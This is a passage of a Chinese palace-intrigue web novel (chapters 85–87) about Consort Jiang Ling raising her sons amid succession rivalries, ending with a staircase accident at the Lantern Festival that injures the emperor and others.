筵席散后,出了揽月殿,萧允瑞惴惴不安与林贵妃道别,“阿娘,我回寝宫了,阿娘早些歇息。” 钟嬷嬷撑伞举在林贵妃的头顶,她的神色在夜里的伞下看不大清楚,萧允瑞似乎看到她朝自己看了眼,又似乎是眼花,什么都不曾看清。 林贵妃从他身边经过,头也不回离去。 冬日寒雨淅淅沥沥下着,犹如落在萧允瑞的心上,彻骨地寒。 林氏一族竭尽全力支持他们母子,林贵妃在他身上倾注全部的心血,耐心,细致,事无巨细关心着他。写不完功课,读不好书,她只会一遍遍要求他完成,陪着他一道读。 他拼劲全力去读书,却无论如何都读不好,那些字在脑海中跳动,使命都记不起来。比起林氏送来的伴读,他显得蠢笨如猪。 那时她的眼神,如现在一样,掩饰不住地失望。 萧允瑞闻着血腥气,笑容浮在红肿的脸上,阴森而诡异。他神情骤然变得疯狂,双眸赤红看向林贵妃,咬牙切齿地道:“阿娘,我不是蠢货,我一定会证明给阿娘看!” 第85章 林贵妃从寝宫出来, 冬日寒风拂面。钟嬷嬷上前拢起风帽,她顺势握住,怔怔望着昏暗下来的天色, 低头朝外走去。 “你让林斐他们明朝进宫来,我要见他们。”林贵妃吩咐道。 钟嬷嬷忙转身交代小宫女, 觑着林贵妃的神色,道:“娘娘, 大皇子没打过二皇子, 一时气急攻心,年轻气盛做了些错事, 娘娘莫要放在心上。” 林贵妃不曾做声,神情犹如此时的天色一样阴霾密布。这时, 她听到前面夹道传来阵阵脚步声, 抬头朝前看去。 元明帝一行走了过来,他皱起眉,问道:“阿瑞可还好?” “皇上, 阿瑞服过药, 已经歇着了。”林贵妃回道。 元明帝本来打算去看萧允瑞, 听到他已经歇着, 便停下了脚步。他望着天色, 犹豫了下, 道:“这个时候歇着,待会晚上只怕睡不着, 又在寝宫胡乱闹腾。” 林贵妃道:“阿瑞身子本就弱, 流了好些血,头晕难受,便先歇着了。” “平时你是如何看顾的?朕早就说过, 阿瑞身子弱,让你好生看着他用膳,不得挑嘴。无论大事小事,皆要朕来操心,要你们何用!” 元明帝心头本烦闷,越说越生气,对林贵妃更是气不打一处来。他从鼻孔中喷出一声,对其怒目而视。 “阿瑞打小聪慧知礼,长大后不过尔尔!平时他跟在你身边,林氏百年清贵世家,你林玉壁秀外慧中,朕好好的儿子,活生生坏在你手中!阿瑞喜欢玩弄猫猫狗狗,性情孤僻,皆是学了你!你平时孤傲清高,待亲生儿子也是这般,阿瑞如何能好!” 林贵妃神色不变应道:“是,都是臣妾的错。”她屈身下去,指甲嵌入手心,紧抿的嘴唇惨白如纸。 元明帝重重哼了声,转身离开。林贵妃缓缓起身,身子轻轻晃了晃。钟嬷嬷见状赶紧上前搀扶,被她轻轻拂开。 “娘娘。”钟默默焦急地唤了声,绣云同样担忧,她拦住钟嬷嬷,朝她摇摇头。 钟嬷嬷想着林贵妃向来骄傲,在娘家时自是顺风顺水长大,从未受过半点委屈。长大后进了潜邸,虽非王妃,却是有朝廷正经诰封的侧室,连王妃都要客客气气。 当时元明帝待她虽不算宠爱,却也尊着重着,登基之后,封了她为贵妃,为四妃之首。 林贵妃从未受过今朝这般大的耻辱,被元明帝劈头盖脸一通指责。钟嬷嬷不禁替林贵妃觉得不值,神色愤愤起来。 要论对萧允瑞的关心,谁都比不上林贵妃。她在养育萧允瑞上,耗尽心血。他有点头疼脑热,她亲自替他试药。手把手教他写字开蒙,陪着他读书。 元明帝的指责好没道理,萧允瑞是林贵妃的命根子,如何舍得他有丁点的不好! 回到重华宫,钟嬷嬷上前伺候林贵妃脱下风帽,心中的不满犹然未消。绣云掌了灯,钟嬷嬷见烛光下,林贵妃苍白瘦弱的脸庞,眉眼间皆是疲倦,顿时忍无可忍道:“娘娘莫要难过,将皇上的话放在心上。娘娘待大皇子的一片心,皇上哪比得上。” 林贵妃闻言奇怪地看了眼钟嬷嬷,在榻上坐下来,不由得笑了;“嬷嬷,我没难过。我怎会因为皇上的责骂难过。” 钟嬷嬷一愣,绣云掌完灯,赔笑道:“娘娘向来波澜不惊,哪会将皇上的气话当做回事。” 林贵妃神色平静,淡然道:“不当做回事,自不会生气。皇上是天子,天子一怒横尸千里,他可以随意斥骂。若要不服气,除非造反。” 钟嬷嬷脸色一变,赶忙道:“都怪奴婢愚蠢,老糊涂了。” “皇上的话,倒不算太偏颇。阿瑞是皇上的儿子,皇上有四个儿子,我却只有阿瑞。这般浅显的道理,我竟然忘了,真是蠢不可及!” 林贵妃深深厌弃自己,她手指点着矮案,像是在说给钟嬷嬷与绣云听,更像是在理清思绪。 “阿瑞身子弱,幼时机灵聪明,启蒙之后,书读得不错。后来日渐读得吃力,性情乖张,不大爱说话。” 说到这里,林贵妃变得沉默,眉头深深蹙起,如何都想不明白。 冥思苦想,林贵妃始终不得其法,抬眼看向钟嬷嬷与绣云,不解道:“你们以为,阿瑞为何这般?” 绣云与钟嬷嬷面面相觑,认真思索起来,两人都想不出缘由。 “真是我太孤傲,让阿瑞变得孤僻了?” 林贵妃喃喃自语着,想起萧允瑞的反常,他赤红的眼,扭曲狰狞的神情,心头的不安愈发强烈。 绣云迟疑了下,小声道:“娘娘,大皇子被二皇子欺负,娘娘打算就这般算了?” “万万不得轻举妄动!”林贵妃坐直身,手搭在身前,断然道:“鹬蚌相争渔人得利,当前以阿瑞要紧!你们要看紧了,大皇子这段时日都不能出门,莫要让有心人趁机作乱!” 绣云忙应下,“奴婢这就去躺大皇子寝宫交代福顺他们,嬷嬷你替娘娘摆膳。” 元明帝从萧允瑞寝宫前离开,准备顺道去看萧允珏。到了门前,又感到烦躁,转身闷头离开。走了一阵,元明帝发现到了繁英阁,他脚步顿了顿,抬腿走了进门。 繁英阁灯火通明,进了抱厦,就听到萧允瓒与萧允琅的叫嚷笑声。元明帝情不自禁随着笑起来,骂了句两个小淘气,真是能闹腾。 萧允瓒萧允琅在廊檐下玩陀螺,文涓摆好饭菜,阿箬掀起门帘,“三皇子四皇子,用晚膳了。” “等一阵,待定下输赢之后再用。”萧允瓒玩得正高兴,盯着身前旋转的陀螺,找准方向抽了一鞭子。 阿箬正要再说,看到元明帝从抱厦走出来,回头对江舲说道:“娘娘,皇上来了。” 江舲脸色不虞,顿时失去了胃口,坐在那里没动,不耐烦地道:“来就来吧。” 文涓觑着江舲的神色,与阿箬迎了出去。元明帝走到廊檐下,萧允琅先看到他,拿起鞭子抬手见礼,叫了声阿爹,忙不迭去抽陀螺。萧允瓒目不转睛盯着陀螺,混着萧允琅一起胡乱见了礼。 “外面这般冷,你们也不怕冻着。”元明帝见两人一心只顾着玩,不免心头气闷,“不许玩,进屋去!你们阿娘呢?她都不管你们?” 江舲只能起身走到门边,元明帝看到她,立刻不满道:“仔细冷着生病,你既然在,为何不管着他们?” 屋中摆着薰笼,干燥,成日呆着憋闷。两人闹腾,片刻都不闲着,早就呆不住,找着时机往屋外溜。 他们既然不怕冷,穿得又厚实,江舲就随着他们出去玩耍。 元明帝的指责,江舲听得火冒三丈,好似她故意不管,存心要害他们一样。 “有皇上管呢。”江舲阴阳怪气回了句。 “你还给朕派起差使来了!”元明帝一窒,气恼地提留着两人的后襟,“进屋去!” 萧允琅老实不敢动弹,萧允瓒却大胆,扭动身子挣脱开,弯腰捡起两只陀螺往怀里塞。 “你还当做宝贝了!”元明帝一眼瞪去,萧允瓒笑嘻嘻地溜进屋,乖巧地对江舲道:“阿娘,我去净手。” 萧允琅进屋后,跟在萧允瓒身后去了。元明帝看了看他们,吩咐道:“去打水来,摆膳。” 用完晚膳,萧允瓒缠着江舲道:“阿娘,我与阿琅再玩一阵可好?” 元明帝放下茶盏,道:“朕布置的大字都写好了?” 萧允瓒眨着乌溜溜的眼睛,道:“阿爹布置大字时,说好待一年后才检查啊!” 元明帝听得愣住,难以置信地道:“朕何时说过,要待一年?” 萧允瓒振振有词道:“阿爹曾言到时要检查,到时就是一年。” 江舲听得直想揍他,元明帝更是怒极反笑,连道几声好,“十篇大字,你个小混账,打算一年才写完。你居然说得出口,你不害臊,朕都替你害臊!” 萧允瓒抬手一礼下去,小脸绷着,一片严肃地道:“多谢阿爹替我害臊,只我不害臊,阿爹便无需替了。” 元明帝瞠目结舌看着萧允瓒,再看向他身边自顾自踢着地毡玩的萧允琅,最后看向身侧的江舲。 “你平时都由着他们?” 面对着元明帝的质问,江舲心底的火苗乱窜,她克制住情绪,对萧允瓒萧允琅道:“你们回屋去,只需玩小半个时辰,必须洗漱上床歇息。” 两人先后应是,见礼后,蹦蹦跳跳一起回屋。元明帝眼睁睁看着,半晌后,道:“好你个江氏,朕的话,你都当做耳边风!你还让他们回屋玩,只字不提功课!朕好好的儿子,都要被你养坏了!” “夜里屋子昏暗,等到上学堂时,有写不完的功课,何须急于一时?” 江舲懊恼不已,心里狂骂元明帝,冷声道:“既然是皇上的儿子,皇上干脆带到垂拱殿去养着,免得被我养坏了。养坏皇子的罪名,我可担待不起。” “你还敢顶嘴!”元明帝气得头疼,厉声道:“你不学无术,要养得朕的儿子也不学无术。阿瓒机灵,心思却不用在功课上,你身为他的阿娘,莫非不觉着可惜了?阿琅还小,更应该立好规矩!” “皇上的话,真是好没道理。” 江舲本想忍着,实在忍不住,一迭声反驳道:“皇上口口声声称他们是皇上的儿子,有几时真正管过?对他们真正了解几分?阿瓒阿琅白日都会学习,功课不只是写大字,写大字并非一朝一日的事,首先要手腕有力气。他们现在还小,先认字就已足矣。阿琅认了数百个字,会从一背到一百。阿瓒《千字文》认了大半,会背九九歌,会简单的加减乘除。两人都活泼机灵,礼数周全,除去皇上,任谁都挑不出他们的不是!” 元明帝心头滋味复杂至极,萧允瑞萧允珏打成一团,功课堪称平平。他没想到的是,萧允瓒萧允琅成天玩闹,除写大字外,已经识了不少字,算学也没落下,甚至比两个兄长都强上几分。 一时间,元明帝被噎得无话可说,他神色讪讪咳了声,干巴巴地道:“算你有理,就规矩上差了些。罢了,朕不与你计较。” 虽元明帝身为父亲,平时只动动嘴皮子,江舲并不在意,情愿独自教导他们。偏生,他总是在一旁插手,还居高临下地指指点点。功劳都归他,不好之处,全都怪罪到她头上。 江舲对着元明帝,像是对着一团黏糊糊,混沌不明的污泥。厌恶透顶,却又无法避开。 元明帝叹了口气,苦口婆心道:“阿瑞阿珏幼时都聪明机灵,长大上学堂后,书只读得一般。朕担心阿瓒阿琅与他们一样,你多注意些,莫要只惯着他们。” 在江舲看来,皇子无需考科举,懂得如何写策论文章,经史子集熟读就足够,学好算学才最重要。因为算学不仅仅是算账,主要培养他们的逻辑能力。 其他的好处自不用提,最关键之处,免得像元明帝那样,成为不讲道理,也讲不通道理的混账! 元明帝满肚皮的话,此时憋不住了,絮絮叨叨道:“阿珏喜欢出宫去瓦肆玩耍,最喜斗鸡斗狗相扑。阿瑞不喜热闹,出宫也只是去到处闲逛。平时他大多呆在宫中,让人弄一些猫狗进来处置着玩。只玩玩无妨,就怕被有心人鼓动着上瘾,玩物丧志。” 江舲怔住,忙问道:“皇上,弄一些猫狗处置着玩,可是打杀猫狗取乐?” 元明帝瞥了眼江舲,点点头,不以为意道:“一些畜生,打杀就打杀了。有人要是盯着他们的喜好,投其所好,这才是大事。” 江舲霎时脑子一轰,晚膳的饭食在胸口翻滚,恶心得直想吐。 猫狗在他们眼里是畜生,平民百姓亦一样。 萧允瑞是变态,萧允珏也好不到哪里去,斗鸡相扑斗狗都是以刺激血腥取乐。 林贵妃赵德妃肯定知道,她们定也如元明帝一样,认为不值得一提。 她们高高在上,从未低下高贵的头,看看脚下的苍生,生灵,蝼蚁。 就算她们再算无遗策,却忽略了一件事,她们的胜算,始终在儿子身上。 在宫中,还潜伏着高手,近些年都不见动静。 萧允瑞萧允珏如今打了起来,尝到了血腥的滋味,终有一日,他们会彼此残杀! 江舲不大信神,这时她却控制不住,在心中默默祈求。 “神仙啊,菩萨啊,信女求求你们,让他们两人赶紧杀起来,两败俱伤,将元明帝一起带走!” 她要为民除害,她要做掌大权的摄政太后! 第86章 萧允瑞萧允珏打架一事, 后宫诡异地宁静,朝堂上却风波诡异。 郑择告老致仕,吴适山升为太医院太医正。后宫嫔妃的平安脉, 诊治等,仍由他负责。 这天吴适山来繁英阁请平安脉, 难得天气晴好,萧允瓒萧允琅在屋中关得太久, 江舲允许他们出来玩耍。 吴适山前来请平安脉, 文涓将他领到暖阁中,先看过萧允瓒萧允琅, 再替江舲诊脉。 片刻之后,吴适山收回手, 道:“娘娘身子无恙, 三皇子随了娘娘,四皇子虽瘦弱些,娘娘将他养得甚好。今年冬日格外寒冷, 屋中干燥, 休说稚童, 连大人都觉着不适, 鼻中干燥出血。大皇子二皇子肌肤都干燥得起皮, 时常觉着瘙痒, 咳嗽不止,臣倒不见三皇子四皇子这般。” 繁英阁撤掉一应香炉, 茶炉等皆不许摆放在屋中燃烧。薰笼亦尽量保证不出烟雾, 在夜里睡觉时,用汤婆子取代薰笼,不时开窗开门通风, 屋中放水盆加湿。萧允瓒萧允琅沐浴之后,身上定会抹香脂。江舲更是不厌其烦,追在后面盯着他们多吃水。 每到寒冬就咳嗽,除冷空刺激,大多是因御寒烤火,空气污染引发的呼吸道疾病。江舲见吴适山瘦了不少,肯定为此甚为头疼,大方地将繁英阁的处理一一告知。 若不小心吸入烟雾,会引得人呛咳。干燥则添水湿润等,道理浅显易懂,吴适山认真地听着,不禁懊恼自责,心道他怎地就没想到这些。 “娘娘,这般就能治咳嗽了?”吴适山期盼地问道。 慢性支气管炎以及冬日呼吸道病毒感染高发问题,在大胤皆无药可医。江舲摇摇头,遗憾地道:“只能防着,比如生了病的人,或者身子弱的人,皆别去人多之处,防着病气过人。” 吴适山想到深受病症折磨之人,叹道:“后宫的娘娘们虽能御寒,不愁吃穿,冬日亦时常生病。谁曾想,福祸相依,这世道……” 他直觉不妥,忙将话头打住,飞快地看向江舲,神色颇为不自在。 江舲听出吴适山的未尽之言,她心思微转,微笑着道:“这世道不公,也有公道。但,世道不公,不在后宫的娘娘们身上,后宫的娘娘们做不了主,连宫门都出不去,身不由己。” 吴适山怔住,脸上渐渐浮起羞愧之色,道:“娘娘说得是,臣所思所想,狭隘浅薄了些。” 江舲发自肺腑地道:“吴太医正不止医者仁心,真正仁慈宽厚,能想到这些,属实令人钦佩。” 吴适山心口一热,喉咙不受控制哽咽了下。他这一生行医治病,入了太医院之后,起起伏伏,差点连累家族亲人。学医术时悬壶济世的夙愿,早已束之高阁,成为酒后与友人的嗟叹。 没曾想,江舲如此高看他。他与郑择皆承她的救命之恩,在与医术有关上,更是不遗余力指点,绝不藏私。 吴适山深感惭愧,他下定决心,转头四望。文涓在暖阁外守着小炉煮茶,萧允瓒萧允琅在回廊中玩陀螺。 “娘娘,郑相府上前两日请臣前去,给郑相的孙子郑小郎治病。郑相子嗣不丰,三代单传,被当做眼珠子般捧着。郑小郎自幼身子不好,入冬之后,郑小郎夜里咳嗽不止,难以安睡,身子日渐瘦弱。” 郑相是政事堂相爷之首,江舲听元明帝提及过多次,听他的语气,郑相颇为得他器重信任。 “郑小郎年年如此,他今年十三岁,正是好玩的年岁,在府中养了几日,便忍不住偷偷与仆从出去瓦肆玩耍。郑小郎最喜好斗鸡,在斗鸡的行当很是有名。郑小郎在瓦肆与二皇子遇上,两人为输赢争执起来。毕竟是二皇子,郑小郎只吵嚷了几句,二皇子见他认输,便未再计较。跟着二皇子的表兄赵舜,以前受过郑小郎的气怀恨在心,他想着报仇,挑唆二皇子,不让郑小郎走。德妃娘娘添了人手随侍二皇子左右,那人见机不对,忙拦着赵舜,提醒二皇子,化解了一场争斗。德妃娘娘得知之后,让赵侍郎押着赵舜亲自上郑府赔罪。” 江舲神色一愣,吴适山品级虽低,因他的医术与名声,常出入贵人府邸,在京城的消息颇为灵通。 “大皇子二皇子打架之事,朝堂上风声如何?” 吴适山道:“各执一词。当时的先生是王翰林,王翰林原是庆和七年的状元。庆和七年时,郑相任礼部尚书,是王翰林的座师,郑相妻子辛老夫人堂妹嫁入了明州王氏。王翰林恰来自明州,借着这层关系,与王氏攀了本家,与郑相府中常有走动。王翰林孝顺,对二皇子打大皇子一事颇有微词。政事堂的陈相,文相几人未发话,不过,卫大学士以为大皇子扰乱学堂,有失读书人的脸面。” 卫大学士以古板闻名,元明帝对他早就不喜。奈何卫大学士学识渊博,不与人拉帮结派,元明帝只能捏住鼻子忍着他。 江舲垂下眼帘,道:“可是事关立储?” 吴适山道:“赵侍郎押着赵舜登门之后,郑相招呼臣吃茶,与臣说闲话时,笑说过一句,赵侍郎草木皆兵了,小子贪玩罢了,他年轻时,也与人打过架,今朝打得不可开交,明朝就又玩到了一处去,赵侍郎何须太当做一回事,登门赔不是。臣愚钝,知之甚少,臣猜测,是与立储有关,只不敢断定。” 聪明人说话太弯弯绕绕,江舲听得头疼,努力琢磨郑相话中之意。 萧允瑞萧允珏的这一架,撕破了皇家的一团和气。元明帝再不情愿,也要开始考虑立储之事。 储君的德行,排在最末,最重要是朝臣的支持。失去臣心,朝堂会动荡不安。 朝臣亦不会讲究德,德只是士族读书人的妆点。哪怕名留青史的能臣,都无法细看。 大胤承平日久,需要的储君是守成之君,如元明帝般平庸足以。 林氏一族给萧允瑞强大的助力,反之亦是阻力。若萧允瑞登基,林氏一族跟着水涨船高,其他的朝臣官员能分的羹就少了。 赵府不堪,外戚嚣张,士族虽看不起,却又无可奈何。赵氏对萧玉珏来说,同样有利有弊。 郑小郎是郑氏的命根子,要是郑小郎因为赵舜掉一根头发,郑相都会心疼,绝非如他嘴里所言,只是小子置气那般轻松。 赵侍郎登门赔罪,郑相心里的不满也就散了,能与吴适山当做闲话说道。 长幼尊卑有序,萧允瓒萧允琅太年幼,无论贤明等,两人皆不靠。 加之卫大学士对萧允瑞的微词,储君的人选,已经呼之欲出了! 江舲思索了下,问道:“赵舜与郑小郎之事,有多少知晓?” 吴适山道:“赵侍郎上门赔罪,知晓的人不多。京城各府的子孙,最好热闹,常去瓦肆玩耍。贵人皆在雅间,寻常人不得靠近,要想瞒得严严实实也不能。” 既然瞒不住,林贵妃与背后潜伏的人,十有八九可能得到消息。 吴适山道:“娘娘,臣还要去郑府给郑小郎诊治,娘娘可要臣与郑相提一句,方子皆出自娘娘之手,皆是娘娘的功劳?” 眼前的形势太复杂,江舲实在看不清,她这时参与进去,有几分胜算。 待深思熟虑之后,江舲道:“多谢你,不用提我了。我的那些东西,并非立竿见影,人人有用,你别打包票,仔细人找你麻烦。” 事关储君之事,吴适山不敢多劝乱出主意,忙道:“臣定会三缄其口,娘娘放心。娘娘的提点,臣也会放在心上,万万不敢胡来。” 吴适山告退之后,江舲沉吟了下,让文涓亲自出宫去江府:“前些天送来的梨,阿娘喜欢吃,你拿两筐去江府去走一趟。告诉阿爹阿娘大哥他们,快要过年了,冬天严寒易生病,尽量莫要出门,宴请往来,能推辞的,尽量推辞掉,在府中好好养着身子。这些话,你要说给胡师爷谢师爷听。” 文涓带着梨前往江府传了话,胡师爷谢师爷聪明,能拘着江文修他们。江舲则看着萧允瓒萧允琅,不许他们出繁英阁大门。 冬至过去便是年,待过完元宵节,年方算彻底过完。 过年热闹极了,筵席不断。江舲的品级高,宫宴的位置在前,片刻不得躲懒。 等太太平平到了元宵这日,江舲累得瘦了一圈,提着一口气,准备着元宵夜里,随元明帝登宣德门城楼,赏鳌山灯会。 往年嫔以上的妃子才有赏灯会的资格,今年则是婕妤及以上的妃子伴驾前往。江舲估摸着,元明帝为了吴婕妤,方才更改了规矩。 年后下了一场小雪,虽不见积雪,在屋外站着没一阵,脚都冻得发僵,入夜后尤其寒冷。 元宵夜京城彻夜不眠,铺子前挂满了灯笼灯谜,卖唱卖艺货郎游人车马行走在街头,摩肩接踵,人山人海。 “阿娘,我也要去。”萧允瓒提着他的鹰隼灯笼,眨着眼睛,可怜兮兮地求江舲:“阿娘,你带我去吧,我身子好,阿琅瘦弱,让他留在宫中。” 萧允琅提着一只鲤鱼灯笼,期盼地望着江舲,他也想跟着去玩耍。闻言,萧允琅嘟起嘴,伸出手指去戳鹰隼翅膀,不满地道:“三哥,你不讲义气。” “外面太冷,人又多,你们太小,不宜一道前去。” 江舲恨不得留在暖和安静的屋中,偏生他们还抢着要去,真真是几家欢乐几家愁。 为了稳妥安全,江舲肯定不会带他们前往,笑着道:“元宵年年有,待你们长大一些,就能年年看。到那时,你们想不去,只怕也不成。” 萧允瓒见江舲态度坚决,她向来说一不二,只能怏怏不乐提着灯笼,“阿琅,我们出去玩。” 萧允琅跟着出去了,江舲揉了揉眉心,文涓阿箬在伺候着梳妆,拿出新鲜的梅花花瓣,点在她的额心。 江舲打量着铜镜中的自己,摸着头上的珠冠,笑道:“瞧这一头,插得跟货郎架子般满满当当,压得脖子都酸了。” 文涓跟着笑起来,道:“娘娘且忍一忍,过了今晚,娘娘就能歇一段时日。” 时辰不早,江舲起了身,交代留在宫中的文涓看好两人,长吁短叹着,坐上轿子出了宫。 城门前禁卫森严,袁长生领着护卫随行。元明帝在前登楼,萧允瑞萧允珏随后,林贵妃江舲等人陆续跟了上去。 城楼下用竹木所搭的鳌山高达八丈,宛若一座小山,上面悬挂着数万展各种形状的灯笼,彩绸绢纸扎成花朵,飞禽等点缀其中,灯火璀璨,宛若仙境。 京城贵人观灯的灯棚,沿着鳌山,一直搭到了御街末。 元明帝出现在城楼上与民同乐,朝臣百姓欢呼,乐声与远处传来的爆竹焰火声,人声鼎沸,热闹盈天。 楼上风大,吹到脸上仿佛被细树枝抽打。江舲拉紧风帽御寒,捂住耳朵挡住喧嚣。 元明帝欣赏了一阵,转头看到裹得严严实实的江舲,不禁一乐,道:“就这般冷了?” 江舲没听清元明帝的话,她干脆佯作不知,抬头眺望远处的天。 白日天气阴沉,月亮在灰色云层中穿梭,时隐时现。 元明帝见江舲没回应,本想再问怎地不见萧允瓒萧允琅。四周太吵,她估计不曾听见,便作了罢,随着她的视线看去。 “就属她与人不一样,元宵赏灯,她倒是来赏月了。”元明帝笑了句,传吴婕妤到身边,与她说起了鳌山的由来。 城楼上实在太冷,过了约莫小半个时辰,元明帝起驾回宫,护卫禁卫簇拥着他下城楼。 突然,萧允珏脚下一滑,扎着手一头朝下栽倒。 萧允珏生得肥硕,护卫慌忙去拉,哪能拉得住? 眼见他直如炮仗般,朝前面的元明帝滚去。 第87章 电光火石间, 大家皆反应不及。 月亮钻入云层,伺候的宫女内侍手上提着灯盏,照着脚下的石阶。天气寒冷, 石阶泛着冰冷的光。 萧允珏轰隆隆滚了下去,迅速撞上元明帝, 两人滚做一团,惊呼惨叫喊声震天。 护卫禁卫接连上前救驾, 江舲定在那里, 目睹袁长生扑上前,似乎与皇城司的禁卫撞上, 元明帝滚落在地上,痛苦地叫唤。 江舲来不及细看, 身后赵德妃发出尖锐的哭喊声:“阿珏, 阿珏!” 赵德妃疯了般往下跑,凭着本能,江舲赶紧侧身闪躲。 石阶能容三四人并排走, 右侧无护栏, 左侧是城墙。 江舲本就小心, 尽量靠城墙走着, 阿箬与紫衫则提着灯笼护在她右侧。 谁曾想, 江舲却未能躲过, 被赵德妃撞向城墙。“咚”地一声,江舲只感到脑袋嗡嗡响, 一阵天旋地转, 眼前金星直冒。 “娘娘,娘娘!”尖叫哭喊声响起,江舲已经分辨不出来, 究竟是谁在喊,谁在哭。 石阶滑,赵德妃带着摧枯拉朽之势,撞开江舲之后继续往下。按照品级高低,走在江舲前面之人是林贵妃。 林贵妃沉着冷静,她反应极快,迅速跃下石阶,伸手去拉原本走在萧允珏身边的萧允瑞。 萧允瑞被林贵妃用力拉向城墙,两人还未站稳,赵德妃已经冲了下来。 眼见躲不过,林贵妃毫不犹豫,拼命护住萧允瑞。她则被赵德妃带着,一起滚了下去。 萧允瑞尚未回过神,眼睁睁看着林贵妃清瘦的身子,如风筝一样往下翻飞。幸好只有十余级石阶,底下又挤满了去救驾的护卫禁卫,林贵妃赵德妃很快被挡住,搀扶起身。 “阿娘!”萧允瑞这时惨叫起来,急着往下跑。这时,后背一股大力袭来,萧允瑞惊惶大叫,像是萧允珏那样摔了下去。 江舲如壁虎一样紧贴着墙,借着砖石墙带来的冰凉,努力保持着清醒。 四周早已混乱不堪,哭声喊声爆竹声交织,灯笼在地上燃烧。月亮在云层中钻出一条边,天边升起璀璨焰火,转瞬即逝。 “娘娘。”阿箬带着哭腔摸了过来,手中灯盏不知落到何处,手背被磨破,血肉模糊。 紫衫浑身簌簌发抖,手中灯笼跟着晃动。没几下,灯笼噗呲熄灭。 护卫禁卫簇拥着元明帝离去,余下护卫禁卫指挥着轿子上前,搀扶林贵妃他们上轿。江舲紧张四顾,目光在她身后的柳贤妃身上略坐停顿,当机立断低声道:“走,我们下去。” 紫衫阿箬紧随着江舲往下走,皇城司的将领刚要吆喝,秦尙宫走了上前,屈膝叫了声慧淑妃。禁卫一听,赶忙抬手见礼,侧身让开了。 尙寝局管着出行的轿子,江舲看到自己人,心头一松,朝秦尙宫微微颔首,“给阿箬紫衫两人一顶轿子。” “娘娘放心。”秦尙宫忙答道,招来心腹安排了下去。她看到江舲额上的伤,不禁露出担忧,压低声音道:“娘娘的伤得回宫去治,这里乱得很,林贵妃他们伤得不轻。” 江舲头始终晕晕沉沉,她估计是撞出了脑震荡。此时已无暇顾及林贵妃等人,道了声有劳,便上了轿子。 秦尙宫交代抬轿的婆子小心,目送着轿子离开,又赶着去忙碌了。 一路上,禁卫森严,挎着腰刀的皇城司兵将来来回回,冰冷的空气仿佛都已凝固。 轿子晃晃悠悠,江舲像是坐在小舟上,在波涛中前行,头疼欲裂,胃中翻滚着恶心想吐。 好不容易到了繁英阁,轿子停下,江舲难受至极,待轿帘掀开,探身出去,“呃”地一声狂吐不止。 “娘娘!”后面轿子下来的阿箬紫衫吓得脸色惨白,赶紧跑上前,一叠声招呼门房:“快去叫青檀她们出来!” 江舲吐了一阵,胃好受了些,头始终晕乎乎。文涓在守着萧允瓒萧允琅,青檀丹桂跟着门房出来,与阿箬紫衫一起,搀扶着江舲回屋。 青檀丹桂伺候着江舲脱下风帽,她在榻上躺下,道:“让文涓把阿瓒阿琅挪到我这边来睡。” 丹桂赶紧去了,紫衫阿箬送了热水进屋,江舲擦拭过手脸,文涓抱着萧允琅,萧允瓒则睡眼惺忪,由丹桂牵着走了过来。 看着他们,江舲阵阵后怕,控制不住鼻酸。 要是他们在的话,后果不堪设想。江舲只一想便难以呼吸,道:“文涓,将阿琅抱去卧房睡。” 文涓怕吵醒萧允琅,轻轻点头应下,抱着他去里间卧房。 “阿娘。”萧允瓒含混着喊了声,他打着呵欠,看到江舲青紫肿胀的额头,霎时瞪大乌溜溜的双眸。 挣脱丹桂的手,萧允瓒扑到江舲跟前,带着哭腔喊道,“阿娘,你额头怎地了,谁打了阿娘?” “谁敢打我,我没事,不小心撞了下。”江舲努力地挤出笑,轻抚着他的小脸,温声安抚,“你与阿琅去卧房睡吧,我歇一阵就好了。” 萧允瓒眼眸泛着泪水,懂事地道:“阿娘好生歇着吧,我去睡了,不吵阿娘。” 丹桂牵着萧允瓒进卧房,伺候他脱下衣衫上床歇息。萧允琅睡得沉,文涓将他在床上放好,很快来到次间。 江舲心中始终不安,安排道:“文涓,你出去交代叮嘱,繁英阁上下不许出去乱打听,走动。大门关好,除非皇上身边的黄梁张善他们亲自来,其余人等,除非有皇上的圣旨在手,皆不许进来。” 文涓不知究里,江舲紫衫她们都受伤回来,还将萧允瓒萧允琅都带到了身边,定是出了天大的事。她压下心头的焦灼,忙道:“娘娘放心,奴婢这就去。” 江舲再对青檀阿箬她们道:“你们轮流歇着,晚上要警醒些。” 丹桂哄睡萧允瓒走了出来,她与青檀当值,便让阿箬紫衫去歇息,道:“你们快去,我们守着娘娘。” 紫衫阿箬吓得不轻,回到繁英阁,浑身都酸痛难忍。两人惊魂未定回耳房歇息,留下丹桂青檀值守。 过了一会,文涓回了次间,“娘娘,奴婢都交代好了,亲自看着大门上了锁。” 江舲嗯了声,文涓借着昏暗的宫灯,仔细察看江舲额头的伤,忧心忡忡道:“娘娘伤得不轻,奴婢还是去请太医来给娘娘看看吧。” “太医看不了。”江舲无力答了句,顿了顿,道:“太医今晚都不得空。” 文涓大骇,她见江舲虚弱无力,便准备去问阿箬紫衫,道:“娘娘快好生歇着。” 江舲闭上眼,静静回想着今晚的变故。 她当时低头看着石阶,并未看见萧允珏是如何滚下石阶。护卫与禁卫一起去救驾,袁长生在元明帝身边,他却与禁卫撞上,造成元明帝直接跌落在地。 赵德妃护子心切,急着朝萧允珏奔去,她的举动,看上去并无任何的不妥。 林贵妃同样是护犊之情,她护着萧允瑞,自己被赵德妃带着滚下石阶。 萧允瑞被林贵妃舍身护住,受了不小的惊吓,最终却摔了下去。 他们身边的嬷嬷宫女内侍,都未曾见到护主的动作。江舲可以理解,像阿箬紫衫一样,他们未反应过来。 林贵妃赵德妃不一样,她们本就机敏,又是母亲。要是换做萧允瓒萧允琅,江舲估计自己反应也比阿箬文涓她们快。 只这里面,疑点重重。 萧允珏究竟是脚底打滑不小心踩空,还是被陷害摔了下去,如今还是个谜。他是出事第一人,引出后续的一连串事故。 萧允瑞后面的摔倒,就耐人寻味了。 毕竟萧允瑞亲眼目睹林贵妃与赵德妃一起滚落,他过了好片刻才王石阶下跑,已有多人摔倒的前车之鉴,他至少会小心些。 当时在萧允瑞身后之人,按照顺次是江舲,但她清楚自己没动手,阿箬紫衫都被赵德妃带着摔倒,当时还没爬起来。 后来,吴婕妤在嘤嘤哭泣,柳贤妃赵嫔夏婕妤她们被嬷嬷宫女搀扶着,陆续下了石阶。 人太多,到处都乱糟糟,到底谁趁乱动手推萧允瑞,江舲并未看到。 此人必须胆大心细,反应与林贵妃一般快。 另外,此人与林贵妃有仇,或利益相冲突。 恨人有笑人无,关乎着生时死后的富贵荣华,林贵妃身处高位,恨她的岂止一二。利益亦不外乎如此。 